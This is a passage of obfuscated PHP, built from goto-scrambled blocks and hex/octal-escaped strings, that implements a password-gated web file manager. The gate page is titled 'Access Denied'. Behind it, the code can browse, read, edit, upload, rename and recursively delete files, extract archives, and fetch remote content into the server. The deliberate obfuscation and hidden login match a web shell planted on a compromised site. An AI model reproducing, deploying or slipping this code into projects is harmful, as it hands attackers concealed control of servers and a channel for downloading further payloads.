2d\166\151\x76\x69\x64\55\164\x65\x61\x6c\x2d\144\x61\x72\x6b\x20\166\151\x76\x69\144\x2d\x74\x72\x61\156\163\x69\164\151\x6f\156\x22\x3e\x46\x65\x74\143\150\74\57\x62\x75\164\x74\157\156\76\xd\12\x20\x20\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\74\x2f\146\157\162\155\76\15\xa\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\74\57\144\151\166\x3e\xd\xa\40\x20\40\x20\x20\40\40\x20\40\x20\40\x20"; goto qYmxS; NC5Uv: t1Ohe: goto pQHOD; vNZlm: $DKH4N = "\105\162\162\157\x72\x20\144\145\154\145\164\x69\x6e\147\x20\x66\151\154\x65\56"; goto ScnGe; lT00_: $v7WxV = scandir($UyGf4); goto FdNTJ; P9s45: JKhRB: goto lxXy6; kP7Hi: UF6ry: goto F2e6r; GpF7q: goto Axvto; goto PqAGu; t1YDS: $gt3yP = zNO1R($_POST["\x61\162\x63\x68\151\x76\145\x5f\156\141\155\145"]); goto YwUqk; n2X9C: echo "\40\x20\x20\x20\x20\40\40\40\40\40\40\x20\40\40\40\x20\x3c\x2f\164\x62\157\144\x79\76\15\12\40\40\x20\40\40\40\40\x20\x20\x20\x20\x20\x3c\57\164\x61\x62\154\x65\x3e\xd\xa\40\40\x20\x20\x20\40\40\40\74\57\144\x69\166\x3e\15\12\x20\40\40\x20\x3c\57\144\151\166\76\15\12\xd\12\x20\x20\x20\40\74\41\x2d\x2d\x20\x45\144\151\164\x20\104\x69\x61\154\157\147\40\55\x2d\x3e\xd\12\40\40\40\x20\x3c\144\151\x76\x20\151\x64\x3d\x22\145\144\151\x74\104\151\141\154\157\147\x22\40\143\x6c\141\x73\163\x3d\42\146\x69\170\x65\x64\40\x69\x6e\x73\145\x74\55\60\x20\x62\147\55\x67\x72\x61\171\55\x36\x30\x30\x20\142\x67\55\x6f\x70\141\143\151\x74\x79\x2d\65\60\x20\150\x69\x64\x64\x65\156\40\x69\x74\x65\155\163\x2d\143\x65\156\164\x65\x72\40\x6a\165\x73\164\x69\146\x79\55\x63\x65\x6e\x74\145\162\40\166\x69\x76\151\x64\x2d\164\162\141\x6e\x73\x69\x74\x69\157\x6e\x22\76\15\12\40\40\x20\x20\40\40\40\x20\74\x64\151\x76\x20\143\154\x61\163\163\75\42\142\x67\55\x77\150\151\x74\145\x20\160\x2d\x38\x20\x72\x6f\165\156\x64\145\x64\x2d\x78\x6c\x20\163\x68\141\144\157\167\x2d\x78\154\x20\x77\x2d\146\165\x6c\154\x20\x6d\x61\x78\x2d\x77\x2d\x33\x78\154\x20\164\x72\x61\156\x73\146\157\x72\155\x20\163\143\x61\x6c\x65\55\71\65\x20\166\x69\166\151\144\55\x74\x72\141\x6e\163\151\x74\151\x6f\x6e\x22\76\xd\xa\40\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\74\150\62\x20\143\154\141\x73\x73\x3d\42\x74\145\x78\164\x2d\x32\170\154\x20\x66\x6f\x6e\x74\x2d\142\x6f\x6c\x64\40\155\142\55\x36\40\164\x65\x78\x74\55\166\151\x76\151\x64\x2d\x63\150\x61\x72\143\157\141\x6c\42\76\x45\144\x69\x74\40\111\x74\145\155\74\57\x68\62\76\15\12\40\x20\x20\40\x20\40\40\x20\x20\40\40\x20\x3c\x66\x6f\x72\155\40\x69\144\x3d\42\x65\144\151\164\106\x6f\x72\155\x22\x20\x6d\145\164\x68\157\x64\x3d\42\x70\157\163\x74\42\76\15\xa\x20\x20\x20\40\x20\40\40\x20\x20\x20\40\x20\x20\40\x20\x20\74\151\x6e\160\165\164\x20\164\171\160\145\75\42\150\x69\x64\x64\x65\x6e\42\x20\156\141\155\x65\x3d\42\143\163\x72\146\x5f\x74\x6f\x6b\x65\156\x22\40\166\141\x6c\x75\145\75\x22"; goto tWGjL; Y3LxI: goto GNvyD; goto rcgmR; bc2im: echo "\15\12\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\x3c\x21\x2d\x2d\40\x46\157\x6c\144\145\162\163\40\x2d\55\x3e\15\xa\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\40\x20"; goto lhRVK; ri6nJ: ohQxi: goto Um9B7; IB34C: if ($HcnX3->extractTo($UyGf4)) { goto vQXUH; } goto Ucrww; p7raR: $Cc3_N = $UyGf4 . "\57" . $BOKAQ; goto v4fkp; H6_Uh: vsu2I: goto SLPz3; Jr6hd: U9GL6: goto nAVlY; LPb1A: if (!(isset($_POST["\x61\144\x64\137\146\151\x6c\x65"]) && !empty($_POST["\151\164\x65\155\137\x6e\141\155\145"]))) { goto vsu2I; } goto AoQU8; atiNZ: echo "\40\40\40\40\40\x20\40\x20\40\x20\40\x20\40\x20\40\x20\74\144\x69\x76\40\143\x6c\x61\163\163\75\42\x62\147\55\x77\150\151\x74\145\40\x70\55\66\40\x72\x6f\x75\156\144\x65\144\x2d\170\x6c\40\163\x68\x61\x64\x6f\167\x2d\x78\x6c\x20\x76\151\166\151\x64\55\x68\157\x76\x65\162\x22\x3e\15\12\40\x20\40\40\x20\x20\x20\x20\x20\40\40\x20\40\40\40\40\x20\x20\x20\40\x3c\150\63\40\x63\154\141\x73\163\75\x22\x74\145\170\164\x2d\x78\154\40\146\157\156\x74\x2d\163\145\155\x69\142\x6f\x6c\144\40\155\142\x2d\x34\x20\164\x65\170\164\55\166\x69\166\x69\x64\x2d\x63\150\x61\x72\143\157\x61\154\42\x3e\106\145\164\143\150\x20\122\x65\x6d\x6f\x74\145\x20\x49\164\x65\155\x3c\x2f\x68\x33\x3e\15\12\x20\40\40\40\40\x20\x20\40\x20\40\40\40\40\40\x20\x20\40\40\40\x20\74\146\157\162\155\40\155\145\x74\x68\x6f\144\x3d\x22\160\x6f\x73\x74\42\40\x63\x6c\141\x73\x73\x3d\42\146\154\145\x78\x20\x73\x70\x61\143\x65\x2d\170\55\x33\42\x3e\15\12\40\40\x20\x20\x20\40\40\40\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\40\40\40\40\x20\74\151\156\x70\x75\164\40\x74\x79\160\x65\75\42\150\151\x64\x64\x65\x6e\42\x20\156\141\155\145\75\42\x63\163\x72\x66\x5f\x74\157\x6b\x65\156\42\x20\166\141\x6c\x75\x65\75\x22"; goto V83w2; aW2gQ: IUKiV: goto MYnzS; lVPL0: echo file_get_contents($f5xwD); goto k9D3j; grGj9: if (file_exists($Cc3_N) && !file_exists($N1y8k)) { goto lHkIz; } goto D6OVg; lkCg9: if (file_exists($xAY2y) && is_writable($xAY2y)) { goto UF6ry; } goto b1K7t; SqQJd: $Vjqae = strtolower(pathinfo($GpDM3["\x6e\x61\x6d\145"], PATHINFO_EXTENSION)); goto woUVw; yjRLJ: $DKH4N = "\106\x61\151\154\145\144\40\x74\157\40\157\x70\145\x6e\40\x61\x72\x63\x68\151\166\x65\x2e"; goto FZOWP; x3ezo: $DKH4N = "\x46\x69\154\145\40\141\154\x72\x65\x61\x64\171\40\145\170\151\x73\164\x73\x2e"; goto m_Nxc; G4i7T: Cesxo: goto RjKFq; tWGjL: echo htmlspecialchars($_SESSION["\143\163\x72\x66\137\164\157\x6b\x65\x6e"]); goto efl0n; ScnGe: goto onpA9; goto vZeSO; X62I5: $l4vH0 = $UyGf4 . "\57" . $XSEgQ; goto Bdm1a; y3gSM: echo "\46\x6f\x70\x65\162\x61\x74\x69\157\x6e\x3d\162\145\x74\x72\151\x65\x76\x65\137\x66\x69\154\145\x5f\143\x6f\156\x74\145\x6e\x74\46\x69\x74\145\x6d\x3d\x27\40\x2b\x20\145\x6e\143\157\x64\x65\x55\122\x49\x43\157\155\x70\157\156\x65\156\x74\50\151\164\145\x6d\x4e\x61\155\x65\x29\51\xd\xa\40\x20\40\40\x20\x20\x20\x20\40\x20\40\x20\x20\x20\x20\40\56\164\150\145\156\x28\x72\x65\x73\x70\x6f\156\x73\145\x20\x3d\x3e\40\x7b\xd\12\40\40\x20\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\40\x20\40\40\40\151\146\40\50\x21\162\x65\x73\160\x6f\x6e\x73\x65\56\x6f\153\51\x20\x74\x68\162\x6f\167\x20\156\145\167\x20\x45\162\162\157\x72\x28\x27\111\164\145\x6d\40\x6e\x6f\x74\x20\146\157\165\156\x64\47\x29\73\xd\xa\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\162\145\x74\x75\x72\156\x20\162\x65\x73\160\x6f\156\163\145\56\x74\145\x78\164\x28\51\x3b\xd\xa\40\40\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\40\175\x29\15\xa\40\40\40\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\40\x20\x2e\x74\150\145\156\50\x63\157\156\164\x65\156\164\x20\x3d\76\x20\x7b\15\xa\40\40\40\40\x20\x20\x20\40\40\x20\40\x20\40\40\40\x20\40\40\40\40\x64\x6f\143\165\155\145\156\x74\x2e\x67\x65\164\105\154\145\155\x65\156\164\x42\x79\111\144\x28\47\145\x64\x69\x74\111\x74\x65\155\116\x61\155\x65\47\x29\x2e\x76\141\x6c\165\145\40\x3d\40\x69\164\x65\155\x4e\x61\155\x65\73\xd\xa\x20\40\40\40\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\40\40\x20\x20\144\157\x63\165\x6d\145\x6e\x74\56\147\x65\164\105\x6c\x65\x6d\145\x6e\164\x42\171\x49\x64\x28\47\x65\144\x69\164\111\x74\145\x6d\103\x6f\156\164\x65\x6e\x74\x27\x29\56\x76\141\x6c\x75\145\x20\75\x20\143\x6f\x6e\164\x65\156\164\x3b\xd\xa\40\40\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\157\160\x65\156\104\151\141\154\157\x67\x28\x27\145\144\x69\x74\104\151\x61\x6c\x6f\147\47\x29\x3b\xd\xa\x20\40\40\x20\40\40\x20\x20\40\40\40\x20\x20\40\x20\40\175\x29\xd\xa\40\40\40\40\x20\40\x20\40\40\x20\x20\40\x20\x20\40\x20\56\x63\x61\164\x63\150\50\x65\x72\x72\x6f\x72\40\x3d\76\40\x7b\15\12\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\40\40\40\40\40\40\x20\40\40\141\154\x65\x72\164\50\47\105\x72\162\x6f\162\40\154\x6f\x61\144\x69\x6e\x67\40\x69\x74\x65\x6d\40\x63\x6f\x6e\164\145\x6e\164\x3a\x20\x27\40\53\40\x65\162\x72\157\x72\x2e\x6d\145\163\x73\x61\147\x65\51\x3b\15\xa\40\40\40\40\40\40\x20\40\x20\x20\40\40\40\x20\40\x20\175\51\x3b\15\xa\40\x20\40\x20\40\x20\40\x20\x7d\xd\12\15\12\40\40\x20\40\x20\x20\x20\40\146\x75\x6e\x63\164\151\157\x6e\40\x6f\160\x65\x6e\122\x65\156\x61\x6d\x65\x44\x69\x61\x6c\x6f\x67\50\x69\x74\145\x6d\116\141\155\x65\51\x20\x7b\xd\xa\40\40\40\40\x20\40\x20\x20\40\x20\x20\40\x64\x6f\143\165\155\x65\x6e\x74\56\x67\145\164\105\x6c\145\155\145\x6e\x74\102\x79\x49\144\x28\47\x6f\x72\x69\147\x69\x6e\141\154\111\164\x65\x6d\116\x61\155\x65\47\51\56\166\141\x6c\165\x65\x20\x3d\40\151\x74\145\155\x4e\141\155\x65\73\15\xa\40\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\x64\157\143\x75\155\145\156\164\x2e\147\x65\x74\x45\x6c\x65\155\145\156\164\x42\171\x49\144\50\47\156\x65\x77\111\164\x65\155\x4e\x61\155\145\x27\x29\56\x76\x61\154\165\145\x20\x3d\40\x69\164\x65\x6d\x4e\x61\x6d\145\73\15\12\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\x6f\160\x65\156\104\151\x61\154\x6f\147\50\47\x72\x65\x6e\x61\155\145\104\x69\x61\154\157\147\47\51\73\xd\12\x20\x20\x20\40\x20\x20\x20\40\175\15\12\15\xa\40\x20\40\40\40\x20\x20\x20\x66\165\x6e\143\x74\151\157\x6e\x20\x63\x6f\156\146\151\162\155\x44\145\154\145\164\145\x28\x69\164\x65\x6d\x4e\x61\155\x65\x29\40\x7b\xd\12\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\x69\146\40\x28\143\157\x6e\x66\151\x72\x6d\50\140\x41\162\x65\x20\x79\157\165\x20\163\165\x72\x65\x20\x79\157\x75\x20\x77\141\x6e\164\40\x74\157\40\x64\x65\x6c\x65\164\145\40\42\44\x7b\x69\164\x65\x6d\116\x61\155\145\175\42\x3f\x20\x54\x68\x69\163\40\141\x63\164\x69\x6f\156\x20\x63\141\156\156\157\164\40\142\x65\40\165\x6e\144\x6f\156\145\x2e\x60\51\x29\x20\x7b\xd\xa\x20\40\40\40\x20\x20\40\40\x20\40\x20\40\40\x20\40\x20\x63\x6f\x6e\163\164\40\146\157\162\155\40\x3d\x20\144\x6f\143\165\x6d\x65\x6e\x74\x2e\x63\162\x65\x61\164\x65\x45\x6c\145\x6d\145\x6e\164\x28\47\146\157\162\x6d\47\51\73\15\xa\40\40\x20\40\x20\40\40\40\x20\x20\40\x20\40\40\40\40\x66\x6f\x72\155\56\155\x65\164\150\157\x64\40\x3d\x20\47\x70\x6f\x73\x74\x27\73\xd\12\x20\x20\40\40\40\40\x20\x20\40\40\40\x20\x20\x20\x20\40\146\157\162\x6d\56\151\x6e\156\x65\x72\110\x54\115\114\x20\x3d\40\140\xd\12\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\40\x20\40\x20\x20\40\40\x20\74\x69\x6e\160\x75\164\40\164\x79\x70\145\x3d\x22\x68\x69\x64\x64\145\156\42\40\x6e\x61\x6d\x65\x3d\42\143\163\162\146\137\x74\x6f\153\x65\x6e\42\40\166\x61\154\165\x65\x3d\42"; goto RKRBc; YChaf: goto ItQRC; goto D1_Qz; D1_Qz: Sv1yi: goto GV3it; CQNeC: $DKH4N = "\105\162\x72\157\162\x20\x75\x70\144\x61\164\x69\156\x67\40\x66\151\154\x65\56"; goto eIgbM; Poy8D: goto l6riZ; goto FRtJS; SRHNn: goto pbGNX; goto haRmB; BdAg2: function znO1R($xD9bO) { return preg_replace("\57\x5b\136\x61\x2d\x7a\101\55\x5a\60\x2d\71\56\x5f\55\x5d\x2f", '', trim($xD9bO)); } goto I6oBt; q3lJ7: pbGNX: goto OQPz9; kX0on: echo urlencode($UyGf4); goto y3gSM; ooNWl: zYkoR: goto gq13N; tVO8Z: if (!(isset($_GET["\157\x70\x65\x72\141\x74\151\157\156"]) && $_GET["\x6f\160\145\162\x61\x74\x69\x6f\156"] === "\162\x65\x74\x72\x69\x65\x76\145\x5f\x66\151\154\x65\137\143\x6f\x6e\x74\145\156\x74" && isset($_GET["\151\x74\145\155"]))) { goto t1Ohe; } goto ZGMPl; eDJC3: echo "\xd\xa\40\x20\x20\40\x20\x20\40\40\40\40\40\x20\x3c\x21\104\117\x43\x54\131\x50\x45\x20\150\164\x6d\x6c\x3e\xd\12\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\x20\74\150\x74\x6d\154\40\154\x61\x6e\x67\75\42\x65\x6e\42\x3e\15\12\40\x20\x20\40\x20\40\x20\40\40\40\x20\x20\x3c\150\x65\141\144\x3e\15\12\40\x20\40\x20\40\x20\x20\40\40\40\40\40\x20\40\x20\x20\x3c\x6d\x65\164\141\40\143\x68\141\162\x73\145\164\75\42\x55\x54\106\x2d\x38\42\76\15\12\x20\x20\x20\40\x20\40\x20\40\40\40\x20\x20\40\x20\40\40\74\x6d\x65\164\x61\x20\x6e\141\x6d\145\75\42\166\151\x65\167\x70\x6f\x72\164\x22\x20\x63\x6f\156\164\x65\156\164\x3d\42\167\151\x64\x74\150\x3d\144\x65\166\151\x63\145\55\167\x69\144\164\150\54\x20\x69\x6e\x69\x74\151\x61\x6c\55\x73\143\x61\154\145\x3d\x31\x2e\60\42\x3e\xd\12\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\40\40\x3c\164\151\164\x6c\145\x3e\x41\x63\x63\145\163\163\40\x44\x65\156\151\145\x64\74\57\x74\x69\164\x6c\x65\76\15\12\40\40\x20\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\40\74\x73\x63\162\x69\160\x74\40\x73\x72\x63\x3d\42\150\164\164\x70\x73\x3a\57\x2f\x63\144\x6e\x2e\164\x61\151\x6c\167\x69\x6e\x64\143\x73\163\56\143\157\155\x22\x3e\74\57\163\x63\x72\151\160\164\76\xd\xa\x20\40\40\x20\40\40\40\x20\40\40\x20\x20\74\57\150\145\x61\144\x3e\15\xa\40\40\40\40\x20\x20\40\x20\x20\40\40\x20\74\142\157\x64\171\40\x63\154\x61\163\163\x3d\42\x62\147\x2d\166\151\x76\151\144\x2d\163\x6c\141\x74\x65\x20\x6d\151\156\55\150\x2d\163\143\162\145\x65\x6e\x20\146\154\145\170\40\151\164\x65\x6d\x73\55\143\145\x6e\x74\x65\x72\40\152\x75\x73\x74\151\146\x79\55\143\145\x6e\164\x65\162\42\x3e\15\12\40\x20\40\x20\x20\x20\40\x20\40\40\40\40\x20\x20\40\x20\x3c\144\x69\166\x20\x63\x6c\x61\x73\x73\75\x22\142\x67\55\x77\150\151\x74\x65\x20\160\55\x38\40\x72\157\165\156\144\x65\144\x2d\x78\x6c\40\x73\150\x61\x64\x6f\167\x2d\x78\x6c\40\x77\55\146\x75\x6c\154\x20\x6d\141\170\55\x77\x2d\155\144\42\x3e\xd\xa\40\40\x20\40\x20\40\x20\40\40\x20\x20\x20\40\x20\40\40\40\x20\x20\x20\74\x68\x32\40\x63\x6c\x61\x73\163\75\42\x74\x65\170\x74\x2d\62\170\x6c\40\146\x6f\x6e\x74\55\142\x6f\x6c\144\40\155\142\55\66\x20\x74\145\170\x74\55\x63\145\156\164\145\x72\x20\164\145\x78\x74\55\x76\x69\166\x69\x64\x2d\143\150\x61\162\x63\157\x61\x6c\42\x3e\x53\145\x63\x75\162\x65\x20\x41\x63\143\x65\163\x73\40\x52\x65\161\x75\151\162\x65\144\x3c\x2f\150\62\x3e\xd\12\40\40\x20\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\40\x20\40\40\x20\40\x3c\146\x6f\162\x6d\x20\155\x65\164\x68\157\144\75\x22\x50\x4f\x53\124\x22\76\xd\xa\x20\40\x20\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\x20\40\x20\40\40\x20\x3c\151\x6e\x70\x75\164\x20\x74\171\x70\x65\x3d\42\150\151\x64\144\x65\156\x22\x20\x6e\141\155\x65\75\42\x63\x73\162\x66\x5f\x74\x6f\x6b\x65\156\x22\40\x76\x61\154\165\x65\x3d\42" . htmlspecialchars($_SESSION["\143\163\162\x66\x5f\164\x6f\x6b\x65\156"]) . "\42\x3e\xd\xa\x20\x20\40\x20\40\x20\x20\40\40\40\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x3c\x69\156\160\165\164\40\164\x79\160\x65\x3d\x22\x70\141\163\163\x77\157\162\144\x22\40\x6e\x61\x6d\145\75\42\163\x65\x63\x75\162\145\x5f\x6b\x65\x79\x22\x20\x63\x6c\141\163\163\x3d\42\x77\55\146\x75\154\154\x20\x70\55\x33\40\x62\x6f\162\144\x65\x72\x20\162\157\x75\156\144\x65\144\55\154\147\x20\155\142\x2d\x34\40\x66\x6f\143\x75\x73\x3a\x6f\x75\x74\154\151\156\145\55\x6e\157\156\145\40\x66\x6f\x63\x75\163\72\x72\151\x6e\x67\x2d\x32\40\146\157\143\165\x73\72\162\x69\x6e\147\x2d\166\x69\x76\151\x64\55\164\x65\x61\x6c\42\40\160\x6c\x61\x63\x65\x68\x6f\x6c\x64\x65\x72\75\x22\x45\x6e\x74\x65\x72\40\x73\x65\x63\165\162\x65\40\x6b\x65\x79\42\x20\162\x65\161\x75\151\162\x65\144\40\141\165\164\x6f\146\157\143\x75\163\x3e\xd\xa\40\40\x20\40\40\40\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\40\40\40\74\142\165\164\x74\157\x6e\x20\x74\x79\x70\x65\75\42\x73\x75\x62\155\x69\x74\42\40\143\x6c\x61\x73\163\75\x22\x77\x2d\146\165\154\x6c\40\x62\x67\x2d\166\151\166\x69\x64\x2d\164\145\141\x6c\x20\x74\145\x78\164\x2d\x77\150\x69\x74\x65\x20\x70\55\x33\40\x72\x6f\x75\x6e\x64\x65\x64\x2d\x6c\147\40\150\157\166\x65\162\72\142\147\x2d\166\x69\166\151\144\55\x74\x65\x61\x6c\55\144\141\x72\x6b\x20\164\162\x61\x6e\x73\151\164\x69\x6f\x6e\x22\76\125\156\154\x6f\143\153\74\x2f\x62\165\164\164\157\x6e\76\15\xa\40\40\40\40\x20\40\40\x20\40\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\74\x2f\x66\157\162\x6d\76\15\12\x20\40\x20\40\40\40\x20\x20\40\x20\40\40\40\x20\x20\x20\x3c\57\x64\x69\x76\76\xd\12\40\40\40\x20\x20\x20\40\x20\40\40\40\40\x3c\x2f\142\157\144\171\x3e\xd\xa\40\40\40\40\40\40\x20\x20\x20\40\40\x20\74\x2f\x68\164\155\154\x3e\xd\xa\40\40\40\x20\x20\x20\40\x20\40\40\x20\40"; goto utItD; mwnF6: GNvyD: goto q3lJ7; mLzqT: $Nu004 = ZNO1r($_POST["\x6e\x65\x77\x5f\156\x61\155\145"]); goto p7raR; pT5Cn: echo shY4q($UyGf4, $RN9dg); goto ltEu3; x7QnY: $XSEgQ = zNO1R(basename($MhPPM)); goto X62I5; ECHTC: $DKH4N = "\x49\x6e\x76\x61\x6c\x69\x64\40\146\151\154\145\x20\x74\171\160\145\x20\157\162\40\x73\x69\172\145\40\x65\x78\x63\x65\145\144\x73\x20\154\x69\x6d\x69\164\x2e"; goto mqeiq; pQHOD: $RN9dg = realpath(__DIR__); goto Xy9nq; LSpRx: $XSEgQ = Zno1r($_POST["\x69\164\145\155\x5f\156\141\x6d\145"]); goto cfqQy; vZeSO: PqdoF: goto U2YH7; A3raI: dKdrD: goto H6_Uh; X174h: if (!(isset($_POST["\141\x64\144\x5f\x64\151\x72\x65\143\164\157\162\x79"]) && !empty($_POST["\x66\x6f\x6c\144\x65\x72\137\156\x61\x6d\x65"]))) { goto VHTWA; } goto CxVnM; tlrMv: $GpDM3 = $_FILES["\165\160\x6c\x6f\141\x64\x65\144\x5f\x69\164\x65\155"]; goto SqQJd; rBbRI: wU4e6: goto QUnki; ltEu3: echo "\x3c\x2f\x6e\x61\166\x3e\xd\xa\xd\xa\40\x20\40\x20\x20\x20\40\40\x3c\x21\55\x2d\40\x41\x6c\x65\162\164\40\115\145\163\163\141\147\x65\40\55\55\x3e\xd\xa\x20\40\40\x20\40\40\x20\x20"; goto kVf3f; H5acy: if ($AUqcU !== false && file_put_contents($l4vH0, $AUqcU) !== false) { goto lu4Ix; } goto QfXRK; Xtn5l: SIh_6: goto r8J0S; QakTV: gWWpv: goto F7tPf; drdzC: if (!(isset($_POST["\162\x65\x6e\x61\x6d\x65\137\x69\x74\x65\x6d"]) && !empty($_POST["\157\x72\x69\147\x69\156\141\154\x5f\x6e\141\x6d\x65"]) && !empty($_POST["\156\145\x77\137\x6e\141\x6d\145"]))) { goto CtH4i; } goto NLGc2; NHwLm: $isu4D = $UyGf4 . "\57" . $P1G3L; goto tZSvJ; UH0Ge: goto un7QD; goto kP7Hi; AoLSc: $DKH4N = "\x45\162\x72\x6f\162\x20\x72\145\156\x61\155\151\x6e\147\x20\151\x74\x65\x6d\x2e"; goto YChaf; YprUx: goto iNVjM; goto vE_v1; FPOV3: if (is_file($xAY2y)) { goto Dk8bd; } goto C3JLD; KwgZJ: $_SESSION["\x63\163\162\146\x5f\164\x6f\153\x65\156"] = bin2hex(random_bytes(32)); goto QakTV; ldA_Q: if (!file_exists($HdMJq)) { goto p398x; } goto x3ezo; B3Ml1: goto fSqKS; goto ri6nJ; GOdpt: function SHy4q($DpTy4, $RN9dg) { goto eEo_o; y_fZO: w1kAA: goto o8uGA; zQ3d6: foreach ($LfFfM as $Ubd_C) { goto HqBbI; glOjn: f2TvR: goto OoYlK; mNd45: $MmBvh[] = "\74\163\160\141\x6e\40\143\154\x61\x73\x73\x3d\42\164\x65\170\164\55\x67\x72\141\x79\x2d\x35\x30\60\42\76" . htmlspecialchars($Ubd_C) . "\74\x2f\163\x70\141\156\76"; goto aEezV; aEezV: goto bF6a9; goto OTopa; TPJvK: bF6a9: goto glOjn; OTopa: Ff0TG: goto enmug; ryloq: if (is_dir($iznt4) && is_readable($iznt4)) { goto Ff0TG; } goto mNd45; HqBbI: $iznt4 .= DIRECTORY_SEPARATOR . $Ubd_C; goto ryloq; enmug: $MmBvh[] = "\74\141\x20\150\162\x65\x66\x3d\42\77\x77\157\162\x6b\163\x70\x61\x63\x65\75" . urlencode($iznt4) . "\42\40\x63\x6c\141\163\163\75\x22\164\x65\170\x74\x2d\x76\x69\x76\151\144\55\164\145\141\x6c\x20\150\x6f\x76\145\162\x3a\x75\x6e\x64\x65\x72\x6c\151\156\x65\42\76" . htmlspecialchars($Ubd_C) . "\x3c\57\141\x3e"; goto TPJvK; OoYlK: } goto y_fZO; hwU6K: $MmBvh = []; goto eBGHN; eBGHN: $iznt4 = $RN9dg; goto WzkIu; vsRGl: ENrcV: goto l9FwI; o8uGA: return implode("\x20\74\163\160\x61\x6e\40\143\154\141\163\x73\x3d\42\x74\145\170\164\x2d\166\x69\166\x69\x64\55\x63\x68\141\x72\x63\157\141\x6c\40\x6d\x78\x2d\x31\x22\x3e\57\x3c\x2f\x73\x70\141\x6e\76\40", $MmBvh); goto UuSMg; l9FwI: $HwrKY = substr($DpTy4, strlen($RN9dg)); goto Tgksx; Tgksx: $LfFfM = array_filter(explode(DIRECTORY_SEPARATOR, $HwrKY)); goto hwU6K; WzkIu: $MmBvh[] = "\74\141\40\150\x72\x65\146\75\x22\x3f\x77\x6f\x72\153\x73\x70\141\143\145\x3d" . urlencode($RN9dg) . "\x22\40\x63\154\x61\x73\x73\x3d\x22\x74\x65\170\164\55\x76\x69\x76\151\x64\55\x74\x65\x61\154\x20\150\157\166\x65\x72\72\165\x6e\x64\x65\162\x6c\151\x6e\145\x20\146\x6f\156\x74\55\163\x65\155\x69\x62\157\x6c\144\x22\76\122\157\157\x74\74\x2f\141\x3e"; goto zQ3d6; eEo_o: if (!(strpos($DpTy4, $RN9dg) !== 0)) { goto ENrcV; } goto z1LGy; z1LGy: return "\x3c\163\160\141\x6e\x20\x63\154\x61\163\163\75\x22\164\x65\170\164\x2d\162\x65\x64\55\x35\x30\x30\42\x3e\x49\156\166\141\154\151\x64\x20\160\x61\164\x68\x3c\57\x73\x70\141\x6e\x3e"; goto vsRGl; UuSMg: } goto o_YuU; GqDdp: $DKH4N = $bwxdH ? "\106\157\154\144\x65\x72\40\x64\145\x6c\145\x74\x65\x64\40\x73\x75\x63\143\x65\x73\x73\146\165\154\154\x79\x2e" : "\105\x72\162\x6f\x72\x20\x64\x65\x6c\x65\164\x69\156\147\40\146\x6f\x6c\x64\145\162\56"; goto XYIgS; xjUUI: if (password_verify($_POST["\163\145\143\165\x72\145\137\x6b\145\171"], $WGk33)) { goto RzJMB; } goto aTPSO; OY6E3: goto rwOYV; goto xNcuq; lJkdx: Dk8bd: goto Kv3l1; jqJC3: $st1pL = true; goto j5f23; eIgbM: goto EWOGW; goto Hfcg3; tZSvJ: if (!is_dir($isu4D)) { goto mNuwv; } goto G3_fu; HF3ib: $DKH4N = "\106\x69\x6c\145\x20\x75\160\x64\x61\x74\145\x64\x20\x73\x75\x63\x63\145\x73\163\146\165\154\154\171\x2e"; goto JVO84; PqAGu: pTXEj: goto N1kwB; C3JLD: goto U9GL6; goto scU2Z; D6OVg: $DKH4N = "\111\x6e\166\x61\x6c\151\x64\40\x73\x6f\165\x72\143\x65\40\157\162\x20\x64\145\163\164\151\156\x61\164\x69\x6f\x6e\40\156\x61\x6d\145\56"; goto Qm7yr; kVf3f: if (!isset($DKH4N)) { goto zYkoR; } goto y3iPX; NLGc2: $BOKAQ = ZnO1r($_POST["\x6f\x72\x69\x67\x69\x6e\x61\x6c\x5f\156\141\x6d\x65"]); goto mLzqT; RKRBc: echo htmlspecialchars($_SESSION["\x63\163\x72\x66\137\x74\157\x6b\145\156"]); goto K2rz_; joBYM: x2JdP: goto mjAZx; iZjRM: $aBnyl = true; goto dP3kX; Zrf0Y: SGPJe: goto bc2im; AM5Ni: goto s77P6; goto gh_lz; XYIgS: goto U9GL6; goto lJkdx; VagIK: P7qdn: goto drdzC; o_YuU: function AIQPu($dKtL0) { goto bOeJ4; YEf3F: foreach (scandir($dKtL0) as $Ei6vG) { goto U4Kq2; TE_ig: pN2fY: goto GSXPG; u_a41: goto pN2fY; goto Wy0vp; grLG0: VTgyb: goto TE_ig; JYICJ: return false; goto grLG0; U4Kq2: if (!($Ei6vG == "\56" || $Ei6vG == "\x2e\x2e")) { goto i0shn; } goto u_a41; DfVHb: if (AIqPU($dKtL0 . "\57" . $Ei6vG)) { goto VTgyb; } goto JYICJ; Wy0vp: i0shn: goto DfVHb; GSXPG: } goto Tbnu6; bOeJ4: if (file_exists($dKtL0)) { goto vuAKQ; } goto cjbcU; lslRh: return unlink($dKtL0); goto FlyTq; FlyTq: OH2yM: goto YEf3F; YI_0v: vuAKQ: goto dqPvG; dqPvG: if (is_dir($dKtL0)) { goto OH2yM; } goto lslRh; Tbnu6: VJzh3: goto krihY; krihY: return 